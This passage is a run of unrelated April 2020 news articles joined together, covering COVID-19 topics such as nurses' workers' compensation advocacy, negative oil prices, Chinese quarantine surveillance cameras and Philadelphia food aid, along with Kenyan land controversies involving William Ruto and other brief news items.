shuttles. There are countless reasons why we must consider any healthcare worker who has been exposed to have acquired the virus at work. "COVID-19 can spread without symptoms. Patients are treated for other conditions, cared for by nurses for days or weeks without N95 masks, and end up testing positive. For weeks positive patients co-mingled with other patients and facilities failed to properly triage patients. Tests have not been provided in a timely manner and results have been delayed. "Yet multiple healthcare administrators want to contend that these workers acquired the virus 'in the community.' This is both insulting and reprehensible. With a stay-at-home-order in place that restricted public interaction outside the hospital, this claim is even more disingenuous." Legislation Highlights There is legislation currently before the Joint Committee on Public Safety (S. 2602/ H. 4611, An Act Relative to Emergency Hazard Health Duty), that attempts to address occupational presumption, but it does not include all healthcare professionals, such as respiratory therapists, nor other workers at healthcare facilities who have been repeatedly exposed to the virus. Senate Bill 2602 and House Bill 4611 presume a nurse who has symptoms of, or who otherwise becomes infected with COVID-19, contracted their medical condition or incapacity in the course of their professional work; and prohibits requiring these nursing professionals from having to use sick time, vacation time, personal time or any other accrued time in cases related to COVID-19. The MNA is advocating that this language be expanded to include workers in all healthcare facilities throughout the pandemic. In its eighth letter to Gov. Charlie Baker, Secretary of Health and Human Services Marylou Sudders and the Massachusetts Legislature, the MNA, representing more than 23,000 frontline nurses and healthcare professionals in 85 healthcare facilities and the vast majority of RNs in hospitals statewide, calls on state officials and healthcare employers to immediately apply the experience and expertise of nurses and healthcare workers on the front lines of the COVID-19 pandemic. The MNA previously sent letters on March 14, March 19, March 24, March 31, April 7, April 14 and April 21. All letters including the April 27 letter can be found at www.massnurses.org/COVID-19. Highlights from April 27 letter: Even as the MNA has consistently called for adherence to best practice standards of one-time use N95 masks for healthcare workers caring for any patients, healthcare facilities have forced nurses to re-use masks for multiple shifts, even multiple weeks, and have refused to provide N95 masks even to nurses who are caring for symptomatic patients awaiting test results. The MNA has also expressed concern about the unproven "decontamination" procedures for masks. The use of any of these experimental methods must involve the consent of the healthcare worker. Testing of caregivers must be ramped up. If testing is not available at a facility, there should be remote healthcare worker-only testing sites available that quickly and without hurdles test and report back results. Quality control issues with regards to testing are becoming more apparent. Return to work criteria for healthcare workers remains inconsistent. Facility and service closures, and staff layoffs and cancellations must be halted while we are in the midst of a pandemic and hospitals are receiving more than $800 million in additional state and federal funding. Asked about the furloughs of nurses at St. Vincent Hospital during a press conference April 16 , Gov. Baker said the state has provided almost $1 billion to the health care industry to ensure financial stability. Read the full April 27, 2020 MNA letter to Gov. Baker and more information at www.massnurses.org/COVID-19. MassNurses.org Facebook.com/MassNurses Twitter.com/MassNurses Instagram.com/MassNurses Founded in 1903, the Massachusetts Nurses Association is the largest union of registered nurses in the Commonwealth of Massachusetts. Its 23,000 members advance the nursing profession by fostering high standards of nursing practice, promoting the economic and general welfare of nurses in the workplace, projecting a positive and realistic view of nursing, and by lobbying the Legislature and regulatory agencies on health care issues affecting nurses and the public. SOURCE Massachusetts Nurses Association Related Links http://www.massnurses.org The oil market is in freefall. The sector collapsed into pandemonium this week when the West Texas Intermediate (WTI) oil price benchmark fell below zero for this first time in history, making U.S. oil not only worthless but a liability, closing at -$37.63 a barrel on Monday. While WTI has since recovered considerably, but its future is uncertain. If this week has taught us anything its that all bets are off. Now the question on the mind of many is, if it was possible for U.S. oil to go so deeply negative, is the same historic nosedive in store for Brent Crude, the international oil price benchmark? The answers vary. One leading oil economist told Energy Voice that it would require something cataclysmic for the Brent benchmark to follow U.S. crude into negative pricing. But when Bloomberg posed the question Can Brent crude oil follow WTI into negative territory? the answer was an unequivocal: You bet. The negative prices are the result of a monthslong crisis in oil markets, beginning with a plummet in oil demand around the globe thanks to the spread of the novel coronavirus. As economies around the world shut down, the leading OPEC+ members of Saudi Arabia and Russia were pressured to find a solution, but instead, their talks quickly devolved into an all-out oil price war, flooding the international oil market with a huge glut of crude oil to the tune of about 10 million barrels of oversupply per day. This week, the glut reached critical mass when the volume of oil on the market maxed out oil storage capacity around the globe, driving the nosedive of oil prices all the way below zero (well below) in the United States and Brent hit an 18-year low at just $20 a barrel. Related: Shale's Decline Will Make Way For The Next Big Thing in Oil In an article published on Tuesday, Energy Voice reported that despite Brents dire straits, Professor Alex Kemp of Aberdeen University does not foresee it going down the same path to zero or negative pricing. The petro-expert told reporters that The two prices, WTI and Brent, are in some ways linked but, to some extent, they are separate. The main reason being that Brent reflects the world balance of supply and demand and WTI reflects the position inside America. [...] We wouldnt get negative prices for Brent because Brent is the world market and it would require something cataclysmic for the world economy to get a negative Brent price. Story continues Other experts, however, are taking the opposite view and preparing for Brent to go negative. ICE Futures Europe Ltd. confirmed on Tuesday night that its preparing various Brent prices for just that possibility if theres the demand to do so -- even if theres still a long way to go before that happens since June contracts are trading at about $20 a barrel, reported Bloomberg on Wednesday. Beyond the mechanistic side of negative pricing theres also a market reality: the worlds storage sites are filling with crude fast -- the precise concern that caused West Texas Intermediate to turn negative. Brent does not function in the same way as WTI, however. While the Brent futures contract is cash-settled against the value of the Brent index price, the WTI contract is physically settled, meaning a trader must take delivery of barrels of oil at Cushing in Oklahoma, hundreds of miles from the coast. This does not change the fact that oil storage is filling up around the globe, and filling up fast. Well over 100 million barrels of oil is now being held in floating storage -- by another estimate more than twice that. [...] With on-land sites either completely booked up or filling fast, theres still pressure on Brent. Were not out of the woods yet. By Haley Zaremba for Oilprice.com More Top Reads From Oilprice.com: Read this article on OilPrice.com In this 2014 photo, AmeriCorps volunteers take a pledge at a 20th anniversary ceremony on the White House South Lawn. Could a mandatory version of national service bring Americans closer together? Read more The subscription list for this newsletter is growing every week you guys are awesome! Lets not stop the momentum now. Tell your friends and family, and if someone forwarded you this email, why not sign up yourself. Its so easy inquirer.com/bunch. Could mandatory national service unite young Americans while fixing the higher-ed mess? World War II movies were a staple of late-night TV if you grew up during the Baby Boom, and there was one subplot in so many of them that it become a bit of a cliche: The combat unit that always included a farm boy from Kentucky or Tennessee and his uneasy-at-first relationship with the Jewish recruit who ate those weird rock-hard doughnuts (no, theyre bagels!) that his mom sent from Brooklyn. By movies end, this platoon of diverse Americans with nothing in common always came together to defeat fascism under heavy fire. OK, sure, there was an element of patriotic hype masking a more complex reality. But the first 15 years after World War II which forced millions of Americans from all 48 states to leave home and fight for a common cause arguably were a less divisive time, politically. Also, the World War II fighting experience convinced Harry Truman to racially integrate the Armed Forces, a critical step that signaled the civil rights struggles and progress to come. On the 75th anniversary of the end of World War II, America is angry, bitter, and split down the middle even about fundamental stuff like science and the meaning of truth. The small-town folk hate the big-city cosmopolitans they call liberal snowflakes, and the educated urban elites hate Rust Belt deplorables. They dont live in the same towns or the same neighborhoods. Theyve never even met each other. Ive been thinking a lot lately about how America became so divided, and thats brought my head to a place I didnt expect. What if all of Americas 18-year-olds from Brooklyn to Kentucky to Hawaii were required to invest one year to come together for a shared national purpose? Not to fight World War III God, no but to fight to rebuild our infrastructure, help struggling schools, or work outdoors in conservation. Some could serve in a peacetime military. All would take part in learning along the way. I believe coming out of this pandemic, whenever that is the way forward for America starts with one year of mandatory national service for all 18-year-olds. Of course, 18-year-old Will Bunch trapped in 1977 with his Lynyrd Skynyrd LPs is horrified by this suggestion. Thats because any kind of mandatory national service reeked too much of the just-ended military draft, the bugaboo of all young people coming out of the Vietnam era. Indeed, in 1980 I made the regrettable error of shunning Jimmy Carter to vote third party in part because Carter had reinstated draft registration early that year. But times change. In 2020, the insane cost of college tuition and the lack of job opportunities for those without that overpriced credential of a diploma have wreaked havoc on modern American life. Just as societal changes convinced Americans in the 19th century that taxpayers should finance public education through age 18, we need to broaden our vision for the 21st century. The new government mantra should be universality for 18-24-year-olds publicly-funded universities and community college, vocational schools, and other forms of job training and internships. This will break the duality of either a) one-size-fits-all college, or b) failure. But lets make it a grand bargain. The government gives you free higher ed, but you give back that one year of mandatory service. Structure the program to award college-level credit so it can swap out with freshmen year for the university-bound, while serving as a funnel into meaningful job training for those who werent the young people weve been losing to drugs or suicide. And lets bust the next generation out of the silos, both geographic and cultural, weve locked them into. Its a radical idea, but others are seeing it. The American electorate is losing a common sense of what it means to be American, Lilliana Mason, a University of Maryland professor of politics, recently wrote in Politico, adding: We need to be reintroduced to each other in a place where we are all on the same team. I agree. Mandatory national service is both a way to fix higher education and to bring young Americans closer together. I plan to revisit this topic in the months ahead. Id love to hear your thoughts, too. READ MORE: SIGN UP: The Will Bunch Newsletter By IANS ABU DHABI: Indian missions in the United Arab Emirates (UAE) will soon start compiling the data of expats wishing to fly home amid the coronavirus pandemic, a news report said. The missions are currently awaiting more clarifications from New Delhi regarding the details that need to be collected and "some more issues" that need to be clarified, Indian Ambassador to the UAE Pavan Kapoor told Gulf News on Monday. ALSO READ | Panicked expatriates seek admission for kids in Kerala He did not elaborate on the clarifications sought or the expected date of beginning the registration. "We hope to start soon," the Ambassador added. As reported by Gulf News, the missions on April 15 had denied seeking data of stranded Indians for repatriation citing no instruction from the Indian government in that direction. Consul General of India Vipul had said at the time that the missions did not wish to create unnecessary confusion among the members of the community though they were noting the details of anyone who was contacting them on email or phone about their need to go back to India. ALSO READ | COVID-19: UAE adjusts to new 'normal' in pandemic as coronavirus cases near 11,000 However, the new move comes close on the heels of the Indian Embassy in Qatar beginning the registration. "We are collecting data about people requesting repatriation to India... At this stage, the purpose is only to compile information. No decision or details yet on resumption of flights to India," the Indian mission in Doha tweeted on Sunday night. "As and when a decision is taken, the Embassy will make a clear announcement. Please note that the form has to be filled separately for each individual, even if they are members of a family," it added. (CNN) - The morning after Ian Lahiffe returned to Beijing, he found a surveillance camera being mounted on the wall outside his apartment door. Its lens was pointing right at him. After a trip to southern China, the 34-year-old Irish expat and his family were starting their two-week home quarantine, a mandatory measure enforced by the Beijing government to stop the spread of the novel coronavirus. He said he opened the door as the camera was being installed, without warning. "(Having a camera outside your door is) an incredible erosion of privacy," said Lahiffe. "It just seems to be a massive data grab. And I don't know how much of it is actually legal." Although there is no official announcement stating that cameras must be fixed outside the homes of people under quarantine, it has been happening in some cities across China since at least February, according to three people who recounted their experience with the cameras to CNN, as well as social media posts and government statements. China currently has no specific national law to regulate the use of surveillance cameras, but the devices are already a regular part of public life: they're often there watching when people cross the street, enter a shopping mall, dine in a restaurant, board a bus or even sit in a school classroom. More than 20 million cameras had been installed across China as of 2017, according to state broadcaster CCTV. But other sources suggest a much higher number. According to a report from IHS Markit Technology, now a part of Informa Tech, China had 349 million surveillance cameras installed as of 2018, nearly five times the number of cameras in the United States. China also has eight of the world's 10 most surveilled cities based on the number of cameras per 1,000 people, according to UK-based technology research firm Comparitech. But now the pandemic has brought surveillance cameras closer to people's private lives: from public spaces in the city right to the front doors of their homes -- and in some rare cases, surveillance cameras inside their apartments. CNN has requested comment from China's National Health Commission. The Ministry of Public Security did not accept CNN's faxed requests for comment. Evolution of tactics China is already using a digital "health code" system to control people's movements and decide who should go into quarantine. To enforce home quarantine, local authorities have again resorted to technology -- and have been open about the use of surveillance cameras. A sub-district office of the government in Nanjing, in eastern Jiangsu province, said it had installed cameras outside the doors of people under self-quarantine to monitor them 24 hours a day -- a move that "helped save personnel expenditures and increased work efficiency," according to its February 16 post on Weibo, China's twitter-like platform. In Hebei province, the Wuchongan county government in the city of Qianan also said it was using surveillance cameras to monitor residents quarantined at home, according to a statement on its website. In the city of Changchun in northeastern Jilin province, the quarantine cameras in Chaoyang district are powered with artificial intelligence to detect human shapes, the district government said on its website. In the eastern city of Hangzhou, China Unicom, a state-owned telecom operator, helped the local governments install 238 cameras to monitor home-quarantined residents as of February 8, the company said in a Weibo post. On Weibo, some people posted photos of cameras they said were newly put up outside their doors, as they went into home quarantine in Beijing, Shenzhen, Nanjing and Changzhou, among other cities. Some appeared to accept the surveillance, although it remains unclear how much criticism against the measure is tolerated on the country's closely monitored and censored internet. A Weibo user, who went into home quarantine after returning to Beijing from Hubei province, said she was told in advance by her neighborhood committee that a camera and an alarm would be installed on her front door. "(I) fully respect and understand the arrangement," she wrote. Another Beijing resident said he did not think the camera was necessary, "but since it is a standard requirement, (I'm) happy to accept it," wrote a person who identified himself as Tian Zengjun, a lawyer in Beijing. Others, worried about the virus' spread in their communities, called for local authorities to install surveillance cameras to ensure people obey quarantine rules. Jason Lau, a privacy expert and professor at Hong Kong Baptist University, said people across China had grown accustomed to prevalent surveillance long before the coronavirus. "In China, people probably already assume that the government has access to a lot of their data anyway. If they think the measures are going to keep them safe, keep the community safe and are in the best interest of the public, they may not worry too much about it," he said. Cameras inside homes Some people say cameras have even been placed inside their homes. William Zhou, a public servant, returned to the city of Changzhou, in eastern Jiangsu province, from his native Anhui province in late February. The next day, he said a community worker and a police officer came to his apartment and set up a camera pointing at his front door -- from a cabinet wall inside his home. Zhou said he did not like the idea. He asked the community worker what the camera would record and the community worker showed him the footage on his smartphone. "I was standing in my living room and the camera captured me clearly in its frame," said Zhou, who asked to use a pseudonym for fear of repercussions. Zhou was furious. He asked why the camera couldn't be placed outside instead, but the police officer told him it might get vandalized. In the end, he said the camera stayed on the cabinet despite his strong protest. On that evening, Zhou said he called the mayor's hotline and the local epidemic control command center to complain. Two days later, two local government officials turned up at his door, asking him to understand and cooperate with the government's epidemic control efforts. They also told him the camera would only take still images when his door moved and wouldn't record any video or audio. But Zhou remained unconvinced. "(The camera) had a huge impact on me psychologically," he said. "I tried not to make phone calls, fearing the camera would record my conversations by any chance. I couldn't stop worrying even when I went to sleep, after I closed the bedroom door." Zhou said he would have been fine with having the camera placed outside his front door, because he wouldn't open the door to go out anyway. "Installing it inside my home is a huge invasion of my privacy," he said. Zhou said two other residents who were under quarantine in his residential compound told him they also had cameras installed inside their homes. The epidemic control command center of the district Zhou lives in confirmed to CNN the use of cameras to enforce home quarantine, but declined to give further details. In the eastern city of Nanjing, the Chunxi sub-district government posted photos on Weibo showing how authorities were using cameras to ensure quarantine. One photo showed a camera standing on a cabinet inside an apartment. Another showed a screenshot of footage of four cameras, some of which appeared to have been shot from inside people's homes. The Chuxi sub-district government declined to comment. The epidemic control command center in the district said the installation of cameras was not a mandatory policy, and some sub-district governments have chosen to adopt the measure themselves. How do the cameras work? There is no official tally on the number of cameras installed to enforce home quarantine across China. But the Chaoyang district government in Jilin, a city of four million people, said in a statement that it had installed 500 cameras as of February 8. Around the world, governments have adopted less intrusive technologies to track whether a person leaves their apartment. In Hong Kong, for example, all international arrivals undergoing a two-week home quarantine must wear an electronic bracelet, which connects to a smartphone app that alerts authorities if they stray from their apartments or hotel rooms. South Korea uses an app that tracks locations with GPS and sends alerts when people leave quarantine. Last month, Poland launched an app that allows people under quarantine to send selfies to let authorities know they're staying home. Even in Beijing not everyone in home quarantine has a camera outside their home. Two residents, who recently returned to the city from Wuhan, said they had a magnetic alarm installed to their apartment doors, which would notify community workers if they stepped outside. CNN has reached out to Beijing authorities for comment. Lahiffe, the Irish expat who lives in Beijing, believes the footage from his camera is being monitored by the community workers at his residential compound, who are charged with making sure he stays home and doesn't have visitors -- all from a smartphone. "The guy's phone has an app which (shows) all the doors," Lahiffe said of one of the community workers who had come to install the camera. "You can see all the doors of the different cameras that have been installed," he said, adding that he saw more than 30 doors on the app, all from his residential complex which he says is lived in by "mostly foreigners." In China, every urban residential community is managed by a neighborhood committee, a communist legacy from the Mao era that has now become the foundation of a "grid management" system of social control supported by high tech and big data. Officially, these are self-governing bodies that manage and educate residents. But they also serve as the governments' eyes and ears at the grassroots level, helping to maintain stability by watching over millions of residents nationwide and reporting suspicious activities. Since the outbreak, community workers have been given great leeway and tasked with epidemic control in residential compounds, enforcing home quarantine, as well as helping quarantined residents with basic needs, such as delivering food and groceries to their doors and taking out their trash. Whenever Lina Ali, a Scandinavian expat living in the southern city of Guangzhou, opened her front door to receive food deliveries, she said a bright light shone from the camera that was trained on her apartment door while she was in quarantine. She said her apartment building's property management staff came to install a surveillance camera outside her front door on the first day of her home quarantine earlier this month. "I hated when the camera would shine a bright light, they told us that it connects to the police station," said Ali. CNN agreed to refer to her with a pseudonym to protect her safety. "It made me feel like I truly was a prisoner in my own home." CNN has reached out to Guangzhou authorities for comment. In Shenzhen, the cameras used to monitor quarantined residents in one district were connected to the smartphones of police officers and community workers, according to a report on the district government's website. If someone breached their quarantine, the report said,"police and community workers will receive an alert immediately notifying them something is wrong." Maya Wang, a senior China researcher at Human Rights Watch, said there was a wide range of measures governments can take to protect public health in the pandemic, but "they don't necessarily have to blanket society with surveillance devices." "If you look at China's surveillance measures during the coronavirus outbreak, from the development of health codes to installation of surveillance cameras to enforce quarantine, we're seeing an increasingly intrusive use of surveillance technologies that were previously only seen in particularly repressed regions, like Xinjiang," she said, referring to the far western region home to China's Uyghur minority. "The surveillance measures being implemented during Covid-19, are unfortunately -- if not pushed back -- going to live with us for a very long time." The legal stance China currently has no specific national law to regulate the use of surveillance cameras in public spaces. The Ministry of Public Security released a draft regulation on security cameras in 2016, but the ordinance is still waiting to be approved by the country's national legislature. In recent years, some local governments have issued their own regulations on the cameras. Tong Zongjin, a lawyer based in Beijing, said installing cameras outside a person's front door has always been in a legal gray area. "The area outside a person's front door is not part of their private residence and is considered a communal space. But the camera can be monitoring something personal, such as when the individual leaves and comes home," he said. Adding to the complexity of the issue is that these cameras are installed by authorities during a public health emergency for epidemic control purposes, so an individual's privacy has to be balanced against public interest and safety, Tong said. On February 4, the Cyberspace Administration of China issued a directive, calling on regional cyberspace authorities to "actively make use of big data, including personal information, to support epidemic prevention and control work," while protecting people's personal information. The directive bans the collecting of personal data for epidemic control without consent from organizations that have not received the approval from health authorities under China's cabinet, the State Council. It also said the collection of personal information should be limited to "key groups" such as confirmed or suspected Covid-19 patients and their close contacts, and that the information collected should not be used for other purposes, or be made public without consent. Organizations that collect personal information should adopt strict measures to protect data from being stolen or leaked, the document said. Lau, the privacy expert, said under Chinese law, organizations with the authority to collect and report personal information concerning public health emergencies include national and regional health authorities, medical institutions, disease prevention and control authorities, as well as local authorities such as townships and resident committees authorized by the government and emergency command headquarters. "Of course, the government will try to collect as much data as they can to help stop the spread of the virus, but they need to be done in appropriate collecting of data, proportionate, (and consider if there are) other less privacy intrusion methods to do the same thing," he said. A new era of digital surveillance? Earlier this month, over 100 rights and privacy organizations around the globe issued a joint statement to call on governments to ensure the use of digital technologies to track and monitor citizens during the pandemic is carried out in line with human rights. "States' efforts to contain the virus must not be used as a cover to usher in a new era of greatly expanded systems of invasive digital surveillance," the statement said. "Technology can and should play an important role during this effort to save lives, such as to spread public health messages and increase access to health care. However, an increase in state digital surveillance powers, such as obtaining access to mobile phone location data, threatens privacy, freedom of expression and freedom of association, in ways that could violate rights and degrade trust in public authorities -- undermining the effectiveness of any public health response," it said. For now, it appears that the surveillance cameras on people's front doors are not there to stay. After Ali and Zhou finished their quarantine, they said the cameras were taken down. The community workers told Zhou he could keep the camera for free. But Zhou was so furious about having to live under its gaze for two weeks that he said he took out a hammer and smashed the device in front of the community workers. "If surveillance cameras are placed in public places, there's no problem -- they can monitor and deter unlawful acts. But they shouldn't appear in our private spaces," he said. "I can't bear the thought that our everyday lives are completely exposed to the government's scrutiny." This story was first published on CNN.com, "China is installing surveillance cameras outside people's front doors ... and sometimes inside their homes" The fact that Deputy President William Ruto has an insatiable appetite for prime land is no longer debatable. He has for the better part of his political career, mainly during his stint as the second in command, been entangled in a series of ugly land sagas, some of which have threatened to sweep him off his feet. And with every emerging case smoothly perching on a character already badly tainted by endless graft allegations, questions abound over the damage the scandals could inflict on the DPs 2022 presidential ambitions. READ ALSO: Opinion: Governors face moment of reckoning as COVID-19 spreads to rural Kenya Many neutral pundits opine that the scandals could provide perfect ammunition for his rivals if he vies for the presidency. The most recent episode saw the state repossess a 1,600-acre land in Ruai, Nairobi County, last week. The prime land on Kangundo Road, which is associated with the DP, is one of two parcels grabbed by private entities that have been taken back by the Government for the expansion of the citys main sewerage plant. The second parcel is registered under a firm owned by former Lugari MP Cyrus Jirongo, who alongside Ruto, was a prominent member of the infamous Youth for Kanu 92 lobby group. The Ruai saga came barely 90 days after the state re-opened investigations into the illegal sale of Ngong Forest land worth KSh 272 million, which involved Ruto, back in 2001. The infamous case saw Ruto dramatically arrested and locked in police cells overnight in April 2004 before he was charged in court, becoming the first MP to face criminal prosecution since President Mwai Kibaki assumed power in 2002. READ ALSO: Ruto reduced to a lone ranger as COVID-19 takes its toll on 2022 game plan He was in October 2010 suspended from the Cabinet, where he served as the Higher Education minister, until the case against him was concluded. But Ruto and his co-accused, Joshua Kulei and Sammy Mwaita, were acquitted in 2011 when the case collapsed. The acquittal was, however, not without its own share of controversy after it emerged that Ruto had in July 2009 appointed Hellen Njue, a key prosecution witness in the case, to the board of trustees of the Coffee Development Fund when he was the Agriculture minister. The case collapsed on grounds Njue failed to show up in court to explain how the money had been paid out. Last year, Ruto found himself at the centre of another mega saga over the ownership of the land on which his deluxe Weston Hotel stands. The National Land Commission established that the hotel is built on public land owned by the Kenya Aviation Authority and recommended that Ruto be compelled to pay to the people of Kenya for the 0.773ha plot opposite Wilson Airport at the current market rate. READ ALSO: We're watching you: EACC warns governors against embezzling coronavirus funds to enrich themselves The DP publicly admitted that the land was indeed acquired illegally by the original owners who sold it to him, but noted that he had no knowledge of the matter when he bought the land. This was not the only land controversy facing the DP in 2019. A human rights lobby also demanded an investigation into Rutos acquisition of a 900-acre land formerly owned by former vice-president Joseph Murumbi. The Trusted Society of Human Rights questioned the DP's acquisition of the Intona Ranch land in Trans Mara West sub-county four years ago, claiming Ruto had questionably paid off a loan owed to the Agricultural Finance Corporation(AFC) by the late Murumbi. It thus wanted AFC and directors of North Mogor Holdings, through which the land was bought, investigated over claims of abetting corruption. Although Ruto is not enlisted as a director of North Mugor, the group linked him to the purchase. But the most damaging case involving the DP was no doubt that against Adrian Muteshi. Ruto was in 2013 indicted and ordered to pay KSh 5 million to Muteshi, a 2007/08 post-election violence victim, for illegally taking away his land. The peasant farmer had accused Ruto of grabbing his 100-acre farm in Uasin Gishu during the violence when he (Muteshi) had fled for safety as an Internally Displaced Person (IDP). The High Court in Nairobi ruled that the farmer had proved that the property was his and that he had been deprived of it. READ ALSO: Kama mbaya, mbaya: Governor Sonko defies gov't order on food distribution, donates to needy families Ruto had earlier in 2012 offered to vacate the land in an out-of-court settlement. He last year withdrew his appeal against the decision requiring him to pay the farmer. In August 2018, it also emerged that a resort facility reported to be encroaching on a public beach in Shanzu, Mombasa County, was owned by Weston Hotels Limited, which is associated with the DP. The growing list of land controversies, which offer tangible proof of the DPs fixation with property, could well return to haunt him come 2022. Every fresh saga puts in his hands the odious task of clearing his name and reassuring Kenyans that he can indeed be trusted with public property. It is a task he has to impeccably execute if he is to keep his very own appetite from proving to be his Waterloo. The writer is Tom Juma, a regular commentator on social, economic and political affairs. The views expressed here are his and do not in any way represent the position of TUKO.co.ke Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. Kenyans come through for elderly couple kicked out by landlady over rent arrears | Tuko TV. Source: TUKO.co.ke TIACA says basic necessities and medical equipment are no longer being transported to Africa due to coronavirus shutdowns Air cargo capacity cuts on lanes to and from Africa are preventing the delivery of urgent supplies and damaging the continents export industries, according to The International Air Cargo Association (TIACA). Citing figures from CLIVE Data Services, the association said the air-cargo sector in Africa had experienced a significant drop in capacity to Europe of around 70% compared to 2019 in recent weeks. Despite the vital role this activity plays in providing people with basic necessities and essential medical equipment, the situation is very concerning on the continent, said a statement. The capacity cuts are also hurting vital export industries, according to Sanjeev Gadhia, TIACA Vice Chairman and CEO of Astral Aviation. He said the drop in uplift capacity at Nairobis Jomo Kenyatta International Airport in Kenya had resulted in perishables exports to Europe dropping from 5,000 tons to 1,800 tons per week. This, he added, would have disastrous effects on the agriculture sector in Kenya, which is yet to recover from the COVID-19 pandemic. TIACA said the aviation sector in Africa had been rocked by airport closures, night bans affecting the movement of ground staff, and the quarantining of crews and/or limitations on cargo flights in some countries. It is now calling on all stakeholders including African governments and civil aviation authorities to take action without delay to address these issues. We are encouraging African airlines to respond to capacity requirements immediately, in particular by putting Passenger Freighter systems in place, such as those implemented by airlines including Ethiopian Airlines, Kenya Airways, SAA and Rwandair, added Gadhia. Collaboration and cooperation between African airlines across their respective fleets and networks are both essential so we can overcome the challenges we are facing. Image: Shutterstock.com The Central Railway authorities have emerged as a saviour for two patients --- one suffering from cancer and another from heart condition --- as they organised critical medical supplies for them in distant Gorakhpur and relatively closer Chiplun. Amruta Chaurasia, a cancer patient and a Mumbai resident, who had gone to attend a family wedding at a village in eastern Uttar Pradeshs Gorakhpur district, was stuck with limited medicine supply after the central government announced the nationwide lockdown restrictions on March 24. Initially, the lockdown was enforced for 21 days from March 25 and then further extended for another 19 days till May 3 to contain the spread of coronavirus disease (Covid-19) outbreak. Her son Sandeep, a Thane resident, unsuccessfully tried to courier her the life-saving drugs. Then, he reached out to India Post, a subsidiary of Union Ministry of Communications, via Twitter and he was told to contact Indian Railways. This led Sandeep to contact Central Railway authorities, and soon an officer, who lives in Mulund, collected the medicines from him. On April 18, the medicines were brought to Kalyan station and sent to Gorakhpur via Nagpur in two separate parcel trains because there is no direct rail link between the two places, said a Central Railway official. Amruta received the medicines on April 21, and now she has adequate supply to see her through the rest of the ongoing lockdown restrictions, which are likely to be lifted after May 3. Similarly, on Monday, the Central Railway made an unscheduled halt of a parcel train at Chiplun station under the Konkan Railway to deliver medicines to a patient, who is suffering from a heart condition and originally a resident of Vikhroli, Mumbai. The railway personnel had collected the medicines from his Vikroli residence and the drugs were sent from Panvel station to Chiplun. On Sunday, the zonal railway assisted in transporting camel milk from Falna in Rajasthan to Secunderabad, Telangana, for a two-year-old child, via Mumbais Chhatrapati Shivaji Maharaj Terminus (CSMT). There is no direct rail link between Falna and Secunderabad, leading to a 28-hour detour via CMST. On Sunday morning, the milk arrived at Bandra Terminus in Mumbai from Rajasthan and was loaded at CSMT for Secunderabad, the official added. Earlier, the railways had launched a helpline portal SETU (Swift & Efficient Transport of Utilities) to assist people in booking the supply of essential commodities via parcel trains during the ongoing lockdown restrictions. Were transporting essential items such as medicines for patients across the country via parcel trains. Personal protective equipment (PPE) kits, other emergency healthcare items, etc; are being delivered to strengthen the governments efforts to rein in the Covid-19 pandemic, said Shivaji Sutar, chief public relations officer, Central Railway. Actor Irrfan Khan, who was diagnosed with a rare form of cancer in 2018, has been admitted to the intensive care unit of a city hospital with a colon infection, his spokesperson said on Tuesday. The 53-year-old, who is at the Kokilaben Dhirubhai Ambani Hospital, lost his 95-year-old mother Saeeda Begum in Jaipur just three days ago. The Piku actor could not attend his mother's funeral because of the nationwide lockdown to contain the spread of coronavirus. Yes, it is true that Irrfan Khan is admitted to ICU at Kokilaben in Mumbai because of a colon infection. We would keep everyone updated. He is under doctor's observation, his spokesperson said in a statement as rumours about the actor's ill health started doing the rounds. His strength and courage have helped him battle and fight so far and we are sure with his tremendous willpower and prayers of his well wishers, he will recover soon, the statement added. Irrfan was diagnosed with neuroendocrine tumour, a rare form of cancer that targets various parts of the body, in 2018 and went abroad for treatment soon after. After his return in 2019, the actor shot for "Angrezi Medium", the sequel to his 2017 hit "English Medium". After his return in 2019, he shot for "Angrezi Medium", the sequel to his 2017 hit "English Medium". However, his health condition prevented him from promoting the movie, which hit the theatres in March just before the lockdown that began on March 25. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A mob attacked several policemen who were enforcing lockdown to prevent the spread of coronavirus at Tikiapara in Howrah district, a red zone, on Tuesday, an official said. The incident took place in the evening when a police patrol reached Tikiapara area after receiving inputs that a large number of people were jostling in a local market, violating the lockdown and social distancing norms. "As soon as the police asked them to return home, a mob pelted them with stones and beat them up. Two police vehicles were also damaged in the incident," a police official said. The injured police personnel were taken to a local hospital. Later, a large police contingent, including RAF personnel, reached the spot to control the situation. Trinamool Congress leader of Howrah district and Forest Minister Rajib Banerjee criticised the attack on policemen and said strict action would be taken against the culprits. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Do you need some help getting food? Here's where you can find it. Read more With soaring unemployment, both in the Philadelphia region and across the country, a lot of people need food assistance right now. According to the World Food Programme, the pandemic will see the number of people suffering acute hunger around the world increase to 265 million, up from 135 million. During the first five weeks of the pandemic, an estimated 26.5 million jobs were claimed nationwide. If youre hesitating reaching out for help, theres no reason to be, says Samantha Retamar, spokesperson for Philabundance, the Philadelphia-based food bank. I would say that anybody struggling or nervous about accessing should not be, she said. You will be met with open arms. ASK US: Do you have a question about the coronavirus and how it affects your health, work and life? Ask our reporters Here is what you should do if you need food assistance: Find a pantry near you Here are some area food banks where you can get help. Its a good idea to visit their websites and/or social media pages for updated information. The Food Bank of South Jersey. This food bank supplies approximately 190 food pantries in Camden, Burlington, Gloucester, and Salem Counties. The first thing is if you need food, go to our website, and you put your zip code in, it will tell you where the programs are, where the pantries are, and when they are distributing, said Greg DeLozier, senior director of advocacy and government relations for the Food Bank of South Jersey. READ MORE: Where you can get your bike fixed in Philadelphia during the coronavirus pandemic TIP: You can also check out the groups Twitter and Facebook pages , for a list of pantries and their hours. Community Food Bank of New Jersey (Southern Branch). Located in Egg Harbor Township, this branch covers Atlantic, Cape May, and Cumberland Counties. Philabundance serves about 350 local pantries in nine counties, five in Southeastern Pennsylvania and four in South Jersey. (Those counties are Bucks, Chester, Delaware, Montgomery, and Philadelphia and in New Jersey, Burlington, Camden, Gloucester, and Salem.) Just type in your zip code and see which food pantry is closest to you. The city of Philadelphia has a list of where to find free food during the COVID-19 crisis here. For seniors The city and the Philadelphia Corporation for Aging have opened 23 sites for seniors to get meals. Most sites are for people 60 and over, but some also serve 55 and over. If you want to go, call ahead. Each senior who registers can get five to seven meals a week. READ MORE: Philly is offering free meals for seniors and free diapers for babies. Heres how to get them. For families In Philly, the city is offering support for pregnant women, toddlers, and babies, with free food and diapers at more than 10 sites across the city. The City of Philadelphia and its partners are operating more than 80 meal sites for students. Any child is welcome at any site; no ID required. Full list here. In New 